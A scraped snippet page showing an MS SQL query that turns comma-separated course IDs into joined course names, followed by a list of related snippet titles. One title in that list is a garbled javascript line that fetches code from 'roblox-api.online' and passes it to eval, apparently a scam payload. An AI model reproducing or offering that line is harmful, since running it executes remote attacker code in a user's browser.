Comma seperated join mssql

select SM.ROLLNO,
       SM.NAME, 
       SM.ADDRESS,
       (
       select ','+CM.CourseName
       from dbo.CourseMaster as CM
       where ','+SM.Course+',' like '%,'+CM.CourseId+',%'
       for xml path(''), type
       ).value('substring(text()[1], 2)', 'varchar(max)') as Course
from dbo.StudentMaster as SM;

Source: dba.stackexchange.com

Similar codes

0 vote275 views1 answer
Oracle select partition
SQL
0 vote256 views1 answer
Mysql command prompt date insert format
SQL
0 vote264 views2 answers
Sql max count
SQL
0 vote244 views1 answer
Sqldf change user
SQL
1 vote267 views1 answer
Set statiscis on in ssms
SQL
8 votes262 views2 answers
Oracle auto increment primary key
SQL
0 vote279 views1 answer
Raiserror with nowait
SQL
0 vote280 views1 answer
Sql pivot table
SQL
4 votes237 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
17 votes273 views6 answers
MySQL ORDER BY
SQL